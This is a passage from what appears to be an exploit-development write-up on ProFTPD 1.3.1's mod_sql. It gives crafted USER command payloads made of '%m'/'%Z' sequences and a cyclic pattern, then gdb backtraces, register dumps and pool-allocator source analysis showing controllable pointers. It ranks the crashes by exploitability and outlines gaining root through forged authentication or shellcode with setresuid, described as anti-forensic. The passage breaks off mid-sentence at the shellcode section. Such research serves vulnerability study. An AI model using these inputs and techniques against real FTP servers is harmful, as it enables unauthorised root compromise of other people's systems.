EIP: 0x080c26f2, EBP: 0xbfd0a148, _sql_dispatch
|
|
EIP: 0x080c4354, EBP: 0xbfd0a1f8, _sql_getpasswd
|
|
EIP: 0x080c514d, EBP: 0xbfd0a2d8, _sql_getgroups
|
|
EIP: 0x080ca70e, EBP: 0xbfd0a308, cmd_getgroups
|
|
EIP: 0x080718a6, EBP: 0xbfd0a328, call_module
|
|
EIP: 0x0807339e, EBP: 0xbfd0a358, dispatch_auth
|
|
EIP: 0x0807481d, EBP: 0xbfd0a408, pr_auth_getgroups
|
|
EIP: 0x08074a98, EBP: 0xbfd0a438, auth_anonymous_group
|
|
EIP: 0x08074ea7, EBP: 0xbfd0a478, pr_auth_get_anon_config
|
|
EIP: 0x080a4b5c, EBP: 0xbfd0a4d8, auth_user
|
|
EIP: 0x080718a6, EBP: 0xbfd0a4f8, call_module
|
|
EIP: 0x0804c651, EBP: 0xbfd0a5a8, _dispatch
|
|
EIP: 0x0804caba, EBP: 0xbfd0a5d8, pr_cmd_dispatch
|
|
EIP: 0x0804d4ee, EBP: 0xbfd0aa48, cmd_loop
|
|
EIP: 0x0804ea36, EBP: 0xbfd0ab88, fork_server
|
|
EIP: 0x0804f1cf, EBP: 0xbfd0acf8, daemon_loop
|
|
EIP: 0x080522c6, EBP: 0xbfd0ad28, standalone_main
|
|
EIP: 0x08053109, EBP: 0xbfd0aea8, main
|
|
EIP: 0xb7b1c685, EBP: 0xbfd0af18, __libc_start_main
|
|
EIP: 0x0804b841, EBP: 0x00000000, _start
|
|
|
|
# cat regs.99861.0
|
|
EAX: 0x00000000
|
|
EBX: 0x0882d654
|
|
ECX: 0x0000103c
|
|
EDX: 0x00000001
|
|
ESI: 0x080d4960
|
|
EDI: 0x41346141
|
|
EBP: 0xbfd0a0a8
|
|
ESP: 0xbfd0a078
|
|
EIP: 0xb7b7e67a
|
|
|
|
So far, we can see we are memset()'ing a controllable pointer :D
|
|
|
|
Looking further at _sql_getpasswd in the backtrace:
|
|
|
|
(gdb) l *0x080c4354
|
|
0x80c4354 is in _sql_getpasswd (mod_sql.c:1252).
|
|
1247 }
|
|
1248
|
|
1249 if (!cmap.usercustom) {
|
|
1250 where = sql_prepare_where(0, cmd, 2, usrwhere, cmap.userwhere,
|
|
NULL);
|
|
1251
|
|
1252 mr = _sql_dispatch(_sql_make_cmd(cmd->tmp_pool, 5, "default",
|
|
1253 cmap.usrtable, cmap.usrfields, where, "1"), "sql_select");
|
|
1254
|
|
1255 if (check_response(mr) < 0)
|
|
1256 return NULL;
|
|
|
|
(gdb) l *0x080c0d85
|
|
0x80c0d85 is in cmd_select (mod_sql_mysql.c:812).
|
|
807 } else {
|
|
808 query = pstrcat(cmd->tmp_pool, cmd->argv[2], " FROM ",
|
|
cmd->argv[1], NULL);
|
|
809
|
|
810 if (cmd->argc > 3 &&
|
|
811 cmd->argv[3])
|
|
812 query = pstrcat(cmd->tmp_pool, query, " WHERE ",
|
|
cmd->argv[3], NULL);
|
|
813
|
|
814 if (cmd->argc > 4 &&
|
|
815 cmd->argv[4])
|
|
816 query = pstrcat(cmd->tmp_pool, query, " LIMIT ",
|
|
cmd->argv[4], NULL);
|
|
|
|
This backtrace is interesting, as it's appending contents we directly
|
|
control to the chunk. Playing further:
|
|
|
|
# telnet 127.0.0.1 21
|
|
Trying 127.0.0.1...
|
|
Connected to 127.0.0.1.
|
|
Escape character is '^]'.
|
|
220 ProFTPD 1.3.1 Server (ProFTPD Default Installation) [127.0.0.1]
|
|
USER A%m%m%mA%m%Z%Z%m%m%m%m%Z%mA%m%m%m%mA%m%m%m%m%m%m%m%mA%mA%m%Z%Z%mAA%m%m
|
|
%ZA%m%m%m%ZA%m%m%m%Z%m%m%Z%m
|
|
331 Password required for A%m%m%mA%m%Z%Z%m%m%m%m%Z%mA%m%m%m%mA%m%m%m%m%m%m%
|
|
m%mA%mA%m%Z%Z%mAA%m%m%ZA%m%m%m%ZA%m%m%m%Z%m%m%Z%m
|
|
USER AAAAAAAAAA%m%m%mA%m%m%mA%m%mAA%m%m%m%m%mA%m%Z%m%mA%m%mAA%mA%ZAA%m%m%m%
|
|
m%m%mA%m%ZAAA%mAa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9
|
|
Ac0A
|
|
|
|
...
|
|
|
|
Program received signal SIGSEGV, Segmentation fault.
|
|
[Switching to Thread 0xb7c7a6b0 (LWP 19840)]
|
|
0xb7cf467a in memset () from /lib/tls/i686/cmov/libc.so.6
|
|
(gdb) bt
|
|
#0 0xb7cf467a in memset () from /lib/tls/i686/cmov/libc.so.6
|
|
#1 0x08054d1a in pcalloc (p=0x98a84c4, sz=4156) at pool.c:481
|
|
#2 0x08055034 in pstrcat (p=0x98a84c4) at pool.c:580
|
|
#3 0x080c0d85 in cmd_select (cmd=0x98a84ec) at mod_sql_mysql.c:812
|
|
#4 0x080c26f2 in _sql_dispatch (cmd=0x98a84ec, cmdname=0x80e4a3d
|
|
"sql_select") at mod_sql.c:393
|
|
#5 0x080c4354 in _sql_getpasswd (cmd=0x98a1ad4, p=0xbfa8368c) at
|
|
mod_sql.c:1252
|
|
#6 0x080c514d in _sql_getgroups (cmd=0x98a1ad4) at mod_sql.c:1599
|
|
#7 0x080ca70e in cmd_getgroups (cmd=0x98a1ad4) at mod_sql.c:3612
|
|
#8 0x080718a6 in call_module (m=0x80ee940, func=0x80ca6bd <cmd_getgroups>,
|
|
cmd=0x98a1ad4) at modules.c:439
|
|
#9 0x0807339e in dispatch_auth (cmd=0x98a1ad4, match=0x80d9685
|
|
"getgroups", m=0x0) at auth.c:89
|
|
#10 0x0807481d in pr_auth_getgroups (p=0x98a1a04,
|
|
name=0x9852eec "AAAAAAAAAA%m%m%mA%m%m%mA%m%mAA%m%m%m%m%mA%m%Z%m%mA%m%mA
|
|
A%mA%ZAA%m%m%m%m%m%mA%m%ZAAA%mAa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab
|
|
3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A", group_ids=0x80fb0bc, group_names=0x80fb0c0)
|
|
at auth.c:691
|
|
#11 0x08074a98 in auth_anonymous_group (p=0x98a1a04,
|
|
user=0x9852eec "AAAAAAAAAA%m%m%mA%m%m%mA%m%mAA%m%m%m%m%mA%m%Z%m%mA%m%mA
|
|
A%mA%ZAA%m%m%m%m%m%mA%m%ZAAA%mAa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab
|
|
3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A") at auth.c:751
|
|
#12 0x08074ea7 in pr_auth_get_anon_config (p=0x98a1a04,
|
|
login_name=0xbfa838f8, user_name=0x0, anon_name=0x0) at auth.c:864
|
|
#13 0x080a4b5c in auth_user (cmd=0x9852e94) at mod_auth.c:1831
|
|
#14 0x080718a6 in call_module (m=0x80ec9e0, func=0x80a4a10 <auth_user>,
|
|
cmd=0x9852e94) at modules.c:439
|
|
#15 0x0804c651 in _dispatch (cmd=0x9852e94, cmd_type=2, validate=1,
|
|
match=0x9852ee4 "USER") at main.c:424
|
|
#16 0x0804caba in pr_cmd_dispatch (cmd=0x9852e94) at main.c:523
|
|
#17 0x0804d4ee in cmd_loop (server=0x9853af4, c=0x988abdc) at main.c:750
|
|
#18 0x0804ea36 in fork_server (fd=1, l=0x988a7bc, nofork=0 '\0') at
|
|
main.c:1257
|
|
#19 0x0804f1cf in daemon_loop () at main.c:1464
|
|
#20 0x080522c6 in standalone_main () at main.c:2294
|
|
#21 0x08053109 in main (argc=4, argv=0xbfa84374, envp=0xbfa84388) at
|
|
main.c:2878
|
|
(gdb) i r
|
|
eax 0x0 0
|
|
ecx 0x103c 4156
|
|
edx 0x1 1
|
|
ebx 0x98a2444 160048196
|
|
esp 0xbfa834a8 0xbfa834a8
|
|
ebp 0xbfa834d8 0xbfa834d8
|
|
esi 0x80d4960 135088480
|
|
edi 0x41346141 1093951809
|
|
...
|
|
# ruby pattern_offset.rb 0x41346141
|
|
12
|
|
...
|
|
(gdb) frame 2
|
|
#2 0x08055034 in pstrcat (p=0x98a84c4) at pool.c:580
|
|
580 res = (char *) pcalloc(p, len + 1);
|
|
(gdb) info locals
|
|
argp = 0x0
|
|
res = 0x0
|
|
len = 4155
|
|
dummy = 0xbfa83524 ...
|
|
(gdb) x/32x $esp
|
|
0xbfa834e0: 0x098a84c4 0x0000103c 0x00000000 0x00000000
|
|
0xbfa834f0: 0x00000000 0x0988b62c 0xbfa83524 0x0000103b
|
|
0xbfa83500: 0x00000000 0x00000000 0xbfa83548 0x080c0d85
|
|
0xbfa83510: 0x098a84c4 0x098a854c 0x080e40e5 0x098aa7d4
|
|
0xbfa83520: 0x00000000 0x080ef060 0x00000000 0x00000000
|
|
0xbfa83530: 0x00000000 0x098a854c 0x00000000 0x098a8534
|
|
0xbfa83540: 0x0988b62c 0x0988b68c 0xbfa83578 0x080c26f2
|
|
0xbfa83550: 0x098a84ec 0x080e441a 0x098aa7d4 0x098a3874
|
|
(gdb) x/s 0x098a854c
|
|
0x98a854c: "userid, passwd, uid, gid, homedir, shell FROM ftpuser"
|
|
(gdb) x/s 0x080e40e5
|
|
0x80e40e5: " WHERE "
|
|
(gdb) x/s 0x098aa7d4
|
|
0x98aa7d4: "(userid='", 'A' <repeats 20 times>, "%m%m%mA%m%m%mA%m%mAA
|
|
%m%m%m%m%mA%m%Z%m%mA%m%mAA%mA%ZAA%m%m%m%m%m%mA%m%ZAAA%mAa0Aa1Aa2Aa3Aa4Aa5Aa
|
|
6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0", 'A' <repeats 11 times>,
|
|
"%m%m%mA%m%m%mA%m%mAA%m"...
|
|
|
|
This crash is excellent, but it has several drawbacks:
|
|
- No direct control of EIP, thus requiring overwriting larger chunks of
|
|
memory which may be problematic.
|
|
- Configuration dependent :(
|
|
- Both SQLUserInfo and SQLGroupInfo specify table names and table
|
|
entries. For example:
|
|
- SQLUserInfo ftpuser userid passwd uid gid homedir shell
|
|
- SQLGroupInfo ftpgroup groupname gid members
|
|
- We could collect common configurations recommended in guides so that
|
|
we can take them into account when bruteforcing.. sucky though.
|
|
|
|
Let's see what the others contain before getting too excited :)
|
|
|
|
------[ 3.3.2 - 2813d637d735be610a460a75db061f6b backtrace ]
|
|
|
|
# cat bt_frames.16259.0
|
|
EIP: 0x08054b7d, EBP: 0xbfd0a1d8, destroy_pool
|
|
EIP: 0x08054b0c, EBP: 0xbfd0a1e8, clear_pool
|
|
EIP: 0x08054bd1, EBP: 0xbfd0a1f8, destroy_pool
|
|
EIP: 0x0807389f, EBP: 0xbfd0a248, pr_auth_getpwnam
|
|
EIP: 0x080a0e3a, EBP: 0xbfd0a488, setup_env
|
|
EIP: 0x080a51ca, EBP: 0xbfd0a4d8, auth_pass
|
|
EIP: 0x080718a6, EBP: 0xbfd0a4f8, call_module
|
|
EIP: 0x0804c651, EBP: 0xbfd0a5a8, _dispatch
|
|
EIP: 0x0804caba, EBP: 0xbfd0a5d8, pr_cmd_dispatch
|
|
EIP: 0x0804d4ee, EBP: 0xbfd0aa48, cmd_loop
|
|
EIP: 0x0804ea36, EBP: 0xbfd0ab88, fork_server
|
|
EIP: 0x0804f1cf, EBP: 0xbfd0acf8, daemon_loop
|
|
EIP: 0x080522c6, EBP: 0xbfd0ad28, standalone_main
|
|
EIP: 0x08053109, EBP: 0xbfd0aea8, main
|
|
EIP: 0xb7b1c685, EBP: 0xbfd0af18, __libc_start_main
|
|
EIP: 0x0804b841, EBP: 0x00000000, _start
|
|
# cat regs.16259.0
|
|
EAX: 0x62413362
|
|
EBX: 0x0000b25d
|
|
ECX: 0x00000002
|
|
EDX: 0x0882f8e8
|
|
ESI: 0x080d4960
|
|
EDI: 0x088161e8
|
|
EBP: 0xbfd0a1d8
|
|
ESP: 0xbfd0a1d0
|
|
EIP: 0x08054b7d
|
|
|
|
EAX looks like a modified pointer, and we can see we're in the
|
|
destroy_pool / clean_pool code. No arbitrary EIP yet :~(
|
|
|
|
(gdb) l *0x08054b7d
|
|
0x8054b7d is in destroy_pool (pool.c:415).
|
|
410 return;
|
|
411
|
|
412 pr_alarms_block();
|
|
413
|
|
414 if (p->parent) {
|
|
415 if (p->parent->sub_pools == p)
|
|
416 p->parent->sub_pools = p->sub_next;
|
|
417
|
|
418 if (p->sub_prev)
|
|
419 p->sub_prev->sub_next = p->sub_next;
|
|
|
|
(gdb) l * 0x08054b0c
|
|
0x8054b0c is in clear_pool (pool.c:395).
|
|
390 /* Run through any cleanups. */
|
|
391 run_cleanups(p->cleanups);
|
|
392 p->cleanups = NULL;
|
|
393
|
|
394 /* Destroy subpools. */
|
|
395 while (p->sub_pools)
|
|
396 destroy_pool(p->sub_pools);
|
|
397 p->sub_pools = NULL;
|
|
398
|
|
399 free_blocks(p->first->h.next);
|
|
|
|
So, we can see that we've corrupted the p->parent->sub_pools pointer. Not
|
|
immediately interesting, as we've isolated what appears to be very
|
|
interesting earlier on. Might be able to do some fun and games at some
|
|
point with the old unlink() style, though.
|
|
|
|
------[ 3.3.3 - 3d10e2a054d8124ab4de5b588c592830 backtrace ]
|
|
|
|
# cat bt_frames.99758.0
|
|
|
|
EIP: 0x08054b7d, EBP: 0xbfd0a338, destroy_pool
|
|
EIP: 0x08054b0c, EBP: 0xbfd0a348, clear_pool
|
|
EIP: 0x08054bd1, EBP: 0xbfd0a358, destroy_pool
|
|
EIP: 0x08074a37, EBP: 0xbfd0a408, pr_auth_getgroups
|
|
EIP: 0x08074a98, EBP: 0xbfd0a438, auth_anonymous_group
|
|
EIP: 0x08074ea7, EBP: 0xbfd0a478, pr_auth_get_anon_config
|
|
EIP: 0x080a4b5c, EBP: 0xbfd0a4d8, auth_user
|
|
EIP: 0x080718a6, EBP: 0xbfd0a4f8, call_module
|
|
EIP: 0x0804c651, EBP: 0xbfd0a5a8, _dispatch
|
|
EIP: 0x0804caba, EBP: 0xbfd0a5d8, pr_cmd_dispatch
|
|
EIP: 0x0804d4ee, EBP: 0xbfd0aa48, cmd_loop
|
|
EIP: 0x0804ea36, EBP: 0xbfd0ab88, fork_server
|
|
EIP: 0x0804f1cf, EBP: 0xbfd0acf8, daemon_loop
|
|
EIP: 0x080522c6, EBP: 0xbfd0ad28, standalone_main
|
|
EIP: 0x08053109, EBP: 0xbfd0aea8, main
|
|
EIP: 0xb7b1c685, EBP: 0xbfd0af18, __libc_start_main
|
|
EIP: 0x0804b841, EBP: 0x00000000, _start
|
|
# cat regs.99758.0
|
|
EAX: 0x62413362
|
|
EBX: 0x0882d4ac
|
|
ECX: 0x00000002
|
|
EDX: 0x088356c8
|
|
ESI: 0x080d4960
|
|
EDI: 0x088161e8
|
|
EBP: 0xbfd0a338
|
|
ESP: 0xbfd0a330
|
|
EIP: 0x08054b7d
|
|
|
|
Unfortunately, EIP is the same as the 2813d637d735be610a460a75db061f6b
|
|
backtrace, except it dies with pr_auth_getgroups in the backtrace, rather
|
|
than pr_auth_getpwnam.
|
|
|
|
------[ 3.3.4 - 844319188798d7742af43d10f6541a61 backtrace ]
|
|
|
|
# cat bt_frames.103331.0
|
|
EIP: 0x08054b7d, EBP: 0xbfd0a368, destroy_pool
|
|
EIP: 0x08054b0c, EBP: 0xbfd0a378, clear_pool
|
|
EIP: 0x08054bd1, EBP: 0xbfd0a388, destroy_pool
|
|
EIP: 0x08074a37, EBP: 0xbfd0a438, pr_auth_getgroups
|
|
EIP: 0x08074a98, EBP: 0xbfd0a468, auth_anonymous_group
|
|
EIP: 0x08074ea7, EBP: 0xbfd0a4a8, pr_auth_get_anon_config
|
|
EIP: 0x080c5691, EBP: 0xbfd0a4d8, sql_pre_pass
|
|
EIP: 0x080718a6, EBP: 0xbfd0a4f8, call_module
|
|
EIP: 0x0804c651, EBP: 0xbfd0a5a8, _dispatch
|
|
EIP: 0x0804c9bb, EBP: 0xbfd0a5d8, pr_cmd_dispatch
|
|
EIP: 0x0804d4ee, EBP: 0xbfd0aa48, cmd_loop
|
|
EIP: 0x0804ea36, EBP: 0xbfd0ab88, fork_server
|
|
EIP: 0x0804f1cf, EBP: 0xbfd0acf8, daemon_loop
|
|
EIP: 0x080522c6, EBP: 0xbfd0ad28, standalone_main
|
|
EIP: 0x08053109, EBP: 0xbfd0aea8, main
|
|
EIP: 0xb7b1c685, EBP: 0xbfd0af18, __libc_start_main
|
|
EIP: 0x0804b841, EBP: 0x00000000, _start
|
|
# cat regs.103331.0
|
|
EAX: 0x62413362
|
|
EBX: 0x0000a2f3
|
|
ECX: 0x00000002
|
|
EDX: 0x0882f2b8
|
|
ESI: 0x080d4960
|
|
EDI: 0x088161e8
|
|
EBP: 0xbfd0a368
|
|
ESP: 0xbfd0a360
|
|
EIP: 0x08054b7d
|
|
|
|
Not that interesting, unfortunately.
|
|
|
|
------[ 3.3.5 - 914b175392625fe75c2b16dc18bfb250 backtrace ]
|
|
|
|
# cat bt_frames.98014.0
|
|
EIP: 0x080544e0, EBP: 0xbfd0a368, free_blocks
|
|
EIP: 0x08054b30, EBP: 0xbfd0a378, clear_pool
|
|
EIP: 0x08054bd1, EBP: 0xbfd0a388, destroy_pool
|
|
EIP: 0x08074a37, EBP: 0xbfd0a438, pr_auth_getgroups
|
|
EIP: 0x08074a98, EBP: 0xbfd0a468, auth_anonymous_group
|
|
EIP: 0x08074ea7, EBP: 0xbfd0a4a8, pr_auth_get_anon_config
|
|
EIP: 0x080c5691, EBP: 0xbfd0a4d8, sql_pre_pass
|
|
EIP: 0x080718a6, EBP: 0xbfd0a4f8, call_module
|
|
EIP: 0x0804c651, EBP: 0xbfd0a5a8, _dispatch
|
|
EIP: 0x0804c9bb, EBP: 0xbfd0a5d8, pr_cmd_dispatch
|
|
EIP: 0x0804d4ee, EBP: 0xbfd0aa48, cmd_loop
|
|
EIP: 0x0804ea36, EBP: 0xbfd0ab88, fork_server
|
|
EIP: 0x0804f1cf, EBP: 0xbfd0acf8, daemon_loop
|
|
EIP: 0x080522c6, EBP: 0xbfd0ad28, standalone_main
|
|
EIP: 0x08053109, EBP: 0xbfd0aea8, main
|
|
EIP: 0xb7b1c685, EBP: 0xbfd0af18, __libc_start_main
|
|
EIP: 0x0804b841, EBP: 0x00000000, _start
|
|
# cat regs.98014.0
|
|
EAX: 0x33614132
|
|
EBX: 0x00009bd9
|
|
ECX: 0x00000002
|
|
EDX: 0x0882ea84
|
|
ESI: 0x080d4960
|
|
EDI: 0x088161e8
|
|
EBP: 0xbfd0a368
|
|
ESP: 0xbfd0a350
|
|
EIP: 0x080544e0
|
|
|
|
EAX contains a corrupted value.
|
|
|
|
Looking at it further:
|
|
|
|
This GDB was configured as "i486-linux-gnu"...
|
|
(gdb) l *0x080544e0
|
|
0x80544e0 is in free_blocks (pool.c:138).
|
|
133
|
|
134 block_freelist = blok;
|
|
135
|
|
136 /* Adjust first_avail pointers */
|
|
137
|
|
138 while (blok->h.next) {
|
|
139 chk_on_blk_list(blok, old_free_list);
|
|
140 blok->h.first_avail = (char *) (blok + 1);
|
|
141 blok = blok->h.next;
|
|
142 }
|
|
|
|
This is semi-interesting, as we can overwrite something to point to the end
|
|
of the block (the start of the allocated usable memory). However, the
|
|
blok = blok->h.next loop makes things a lot more trickier than we'd like
|
|
(finding a suitable pointer that terminates the loop without crashing,
|
|
etc.)
|
|
|
|
Moving on...
|
|
|
|
------[ 3.3.6 - b975726b4537662f3f5ddf377ea26c20 backtrace ]
|
|
|
|
# cat bt_frames.1575.0
|
|
EIP: 0x080544e0, EBP: 0xbfd0a338, free_blocks
|
|
EIP: 0x08054b30, EBP: 0xbfd0a348, clear_pool
|
|
EIP: 0x08054bd1, EBP: 0xbfd0a358, destroy_pool
|
|
EIP: 0x08074a37, EBP: 0xbfd0a408, pr_auth_getgroups
|
|
EIP: 0x08074a98, EBP: 0xbfd0a438, auth_anonymous_group
|
|
EIP: 0x08074ea7, EBP: 0xbfd0a478, pr_auth_get_anon_config
|
|
EIP: 0x080a4b5c, EBP: 0xbfd0a4d8, auth_user
|
|
EIP: 0x080718a6, EBP: 0xbfd0a4f8, call_module
|
|
EIP: 0x0804c651, EBP: 0xbfd0a5a8, _dispatch
|
|
EIP: 0x0804caba, EBP: 0xbfd0a5d8, pr_cmd_dispatch
|
|
EIP: 0x0804d4ee, EBP: 0xbfd0aa48, cmd_loop
|
|
EIP: 0x0804ea36, EBP: 0xbfd0ab88, fork_server
|
|
EIP: 0x0804f1cf, EBP: 0xbfd0acf8, daemon_loop
|
|
EIP: 0x080522c6, EBP: 0xbfd0ad28, standalone_main
|
|
EIP: 0x08053109, EBP: 0xbfd0aea8, main
|
|
EIP: 0xb7b1c685, EBP: 0xbfd0af18, __libc_start_main
|
|
EIP: 0x0804b841, EBP: 0x00000000, _start
|
|
# cat regs.1575.0
|
|
EAX: 0x33614132
|
|
EBX: 0x0882d29c
|
|
ECX: 0x00000002
|
|
EDX: 0x088398a4
|
|
ESI: 0x080d4960
|
|
EDI: 0x088161e8
|
|
EBP: 0xbfd0a338
|
|
ESP: 0xbfd0a320
|
|
EIP: 0x080544e0
|
|
|
|
This is a duplicate of the previous one..
|
|
|
|
------[ 3.3.7 - ccbbd918ad0dbc7a869184dc2eb9cc50 backtrace ]
|
|
|
|
# cat bt_frames.1081.0
|
|
EIP: 0x080544e0, EBP: 0xbfd0a318, free_blocks
|
|
EIP: 0x08054b30, EBP: 0xbfd0a328, clear_pool
|
|
EIP: 0x08054bd1, EBP: 0xbfd0a338, destroy_pool
|
|
EIP: 0x08054b0c, EBP: 0xbfd0a348, clear_pool
|
|
EIP: 0x08054bd1, EBP: 0xbfd0a358, destroy_pool
|
|
EIP: 0x08074a37, EBP: 0xbfd0a408, pr_auth_getgroups
|
|
EIP: 0x08074a98, EBP: 0xbfd0a438, auth_anonymous_group
|
|
EIP: 0x08074ea7, EBP: 0xbfd0a478, pr_auth_get_anon_config
|
|
EIP: 0x080a4b5c, EBP: 0xbfd0a4d8, auth_user
|
|
EIP: 0x080718a6, EBP: 0xbfd0a4f8, call_module
|
|
EIP: 0x0804c651, EBP: 0xbfd0a5a8, _dispatch
|
|
EIP: 0x0804caba, EBP: 0xbfd0a5d8, pr_cmd_dispatch
|
|
EIP: 0x0804d4ee, EBP: 0xbfd0aa48, cmd_loop
|
|
EIP: 0x0804ea36, EBP: 0xbfd0ab88, fork_server
|
|
EIP: 0x0804f1cf, EBP: 0xbfd0acf8, daemon_loop
|
|
EIP: 0x080522c6, EBP: 0xbfd0ad28, standalone_main
|
|
EIP: 0x08053109, EBP: 0xbfd0aea8, main
|
|
EIP: 0xb7b1c685, EBP: 0xbfd0af18, __libc_start_main
|
|
EIP: 0x0804b841, EBP: 0x00000000, _start
|
|
# cat regs.1081.0
|
|
EAX: 0x33614132
|
|
EBX: 0x0882d29c
|
|
ECX: 0x00000002
|
|
EDX: 0x08839484
|
|
ESI: 0x080d4960
|
|
EDI: 0x088161e8
|
|
EBP: 0xbfd0a318
|
|
ESP: 0xbfd0a300
|
|
EIP: 0x080544e0
|
|
|
|
Another duplicate :(
|
|
|
|
------[ 3.3.8 - f1bfd5428c97b9d68a4beb6fb8286b70 backtrace ]
|
|
|
|
# cat bt_frames.11512.0
|
|
EIP: 0xb7b7e67a, EBP: 0xbfd0a118, memset
|
|
EIP: 0x080c2520, EBP: 0xbfd0a148, _sql_make_cmd
|
|
EIP: 0x080c4344, EBP: 0xbfd0a1f8, _sql_getpasswd
|
|
EIP: 0x080c514d, EBP: 0xbfd0a2d8, _sql_getgroups
|
|
EIP: 0x080ca70e, EBP: 0xbfd0a308, cmd_getgroups
|
|
EIP: 0x080718a6, EBP: 0xbfd0a328, call_module
|
|
EIP: 0x0807339e, EBP: 0xbfd0a358, dispatch_auth
|
|
EIP: 0x0807481d, EBP: 0xbfd0a408, pr_auth_getgroups
|
|
EIP: 0x08074a98, EBP: 0xbfd0a438, auth_anonymous_group
|
|
EIP: 0x08074ea7, EBP: 0xbfd0a478, pr_auth_get_anon_config
|
|
EIP: 0x080a4b5c, EBP: 0xbfd0a4d8, auth_user
|
|
EIP: 0x080718a6, EBP: 0xbfd0a4f8, call_module
|
|
EIP: 0x0804c651, EBP: 0xbfd0a5a8, _dispatch
|
|
EIP: 0x0804caba, EBP: 0xbfd0a5d8, pr_cmd_dispatch
|
|
EIP: 0x0804d4ee, EBP: 0xbfd0aa48, cmd_loop
|
|
EIP: 0x0804ea36, EBP: 0xbfd0ab88, fork_server
|
|
EIP: 0x0804f1cf, EBP: 0xbfd0acf8, daemon_loop
|
|
EIP: 0x080522c6, EBP: 0xbfd0ad28, standalone_main
|
|
EIP: 0x08053109, EBP: 0xbfd0aea8, main
|
|
EIP: 0xb7b1c685, EBP: 0xbfd0af18, __libc_start_main
|
|
EIP: 0x0804b841, EBP: 0x00000000, _start
|
|
# cat regs.11512.0
|
|
EAX: 0x00000000
|
|
EBX: 0x0882da74
|
|
ECX: 0x00000024
|
|
EDX: 0x00000001
|
|
ESI: 0x080d4960
|
|
EDI: 0x41346141
|
|
EBP: 0xbfd0a118
|
|
ESP: 0xbfd0a0e8
|
|
EIP: 0xb7b7e67a
|
|
|
|
EDI is a pointer we control. Looking at it further:
|
|
|
|
(gdb) l *0x080c2520
|
|
0x80c2520 is in _sql_make_cmd (mod_sql.c:350).
|
|
345 register unsigned int i = 0;
|
|
346 pool *newpool = NULL;
|
|
347 cmd_rec *cmd = NULL;
|
|
348 va_list args;
|
|
349
|
|
350 newpool = make_sub_pool(p);
|
|
351 cmd = pcalloc(newpool, sizeof(cmd_rec));
|
|
352 cmd->argc = argc;
|
|
353 cmd->stash_index = -1;
|
|
354 cmd->pool = newpool;
|
|
(gdb)
|
|
355
|
|
356 cmd->argv = pcalloc(newpool, sizeof(void *) * (argc + 1));
|
|
357 cmd->tmp_pool = newpool;
|
|
358 cmd->server = main_server;
|
|
359
|
|
360 va_start(args, argc);
|
|
361
|
|
362 for (i = 0; i < argc; i++)
|
|
363 cmd->argv[i] = (void *) va_arg(args, char *);
|
|
364
|
|
(gdb)
|
|
365 va_end(args);
|
|
366
|
|
367 cmd->argv[argc] = NULL;
|
|
368
|
|
369 return cmd;
|
|
370 }
|
|
371
|
|
372 static int check_response(modret_t *mr) {
|
|
373 if (!MODRET_ISERROR(mr))
|
|
374 return 0;
|
|
|
|
Interesting, it's in the make_sub_pool() code. Looking at it further:
|
|
|
|
---
|
|
310 struct pool *make_sub_pool(struct pool *p) {
|
|
311 union block_hdr *blok;
|
|
312 pool *new_pool;
|
|
313
|
|
314 pr_alarms_block();
|
|
315
|
|
316 blok = new_block(0, FALSE);
|
|
317
|
|
318 new_pool = (pool *) blok->h.first_avail;
|
|
319 blok->h.first_avail += POOL_HDR_BYTES;
|
|
320
|
|
321 memset(new_pool, 0, sizeof(struct pool));
|
|
322 new_pool->free_first_avail = blok->h.first_avail;
|
|
323 new_pool->first = new_pool->last = blok;
|
|
324
|
|
325 if (p) {
|
|
326 new_pool->parent = p;
|
|
327 new_pool->sub_next = p->sub_pools;
|
|
328
|
|
329 if (new_pool->sub_next)
|
|
330 new_pool->sub_next->sub_prev = new_pool;
|
|
331
|
|
332 p->sub_pools = new_pool;
|
|
333 }
|
|
334
|
|
335 pr_alarms_unblock();
|
|
336
|
|
337 return new_pool;
|
|
338 }
|
|
---
|
|
|
|
So, if we got it returning an arbitrary pointer, allocations from this
|
|
pool (if within the default pool size) will overwrite memory we
|
|
control.. let's see what could be (include/dirtree.h):
|
|
|
|
---
|
|
96 typedef struct cmd_struc {
|
|
97 pool *pool;
|
|
98 server_rec *server;
|
|
99 config_rec *config;
|
|
100 pool *tmp_pool; /* Temporary pool which only exists
|
|
101 * while the cmd's handler is running
|
|
102 */
|
|
103 int argc;
|
|
104
|
|
105 char *arg; /* entire argument (excluding
|
|
command) */
|
|
106 char **argv;
|
|
107 char *group; /* Command grouping */
|
|
108
|
|
109 int class; /* The command class */
|
|
110 int stash_index; /* hack to speed up symbol hashing in
|
|
modules.c */
|
|
111 pr_table_t *notes; /* Private data for passing/retaining
|
|
between handlers */
|
|
112 } cmd_rec;
|
|
---
|
|
|
|
Hmm, so we could overwrite pointers with somewhat controllable contents
|
|
(don't forget the SELECT .. FROM .. WHERE type stuff interfering..)
|
|
|
|
------[ 3.3.9 - Summary ]
|
|
|
|
Out of the backtraces it has generated, the following look most useful (in
|
|
usefulness looking order :p):
|
|
|
|
- 11380f2c8ce44d29b93b9bc6308692ae
|
|
- f1bfd5428c97b9d68a4beb6fb8286b70
|
|
- 914b175392625fe75c2b16dc18bfb250
|
|
|
|
Considering the code path taken, the first is the most easily exploitable.
|
|
Unfortunately, we haven't got a clean EIP overwrite, and instead require
|
|
returning a suitable pointer that will trash stuff near by it... depending
|
|
on exploitation avenue, this may make things rather complicated.
|
|
|
|
--[ 3.4 - Exploitation avenues ]
|
|
|
|
So far, we've found an approach that allows us to return a pointer to be
|
|
used later on where data we control is used in conjunction with other data.
|
|
|
|
What can we do with that? There's a couple of possibilities:
|
|
|
|
- Work out how to indicate authentication has succeeded
|
|
- Should leave us with the ftpd with nobody (revertable to root)
|
|
privileges, and access to /. That'd be pretty neat ;D
|
|
- If we munge the heap too much, however, it may crash. Depending on
|
|
what's being overwritten etc, it may be unavoidable.
|
|
|
|
- Run our own shellcode
|
|
- We can revert to root with a setresuid() call.
|
|
- More anti-forensically acceptable / less effort / etc :p
|
|
|
|
------[ 3.4.1 - Shellcode approach ]
|
|
|
|
By returning a pointer that leads us to overwrite a function pointer with
|
|
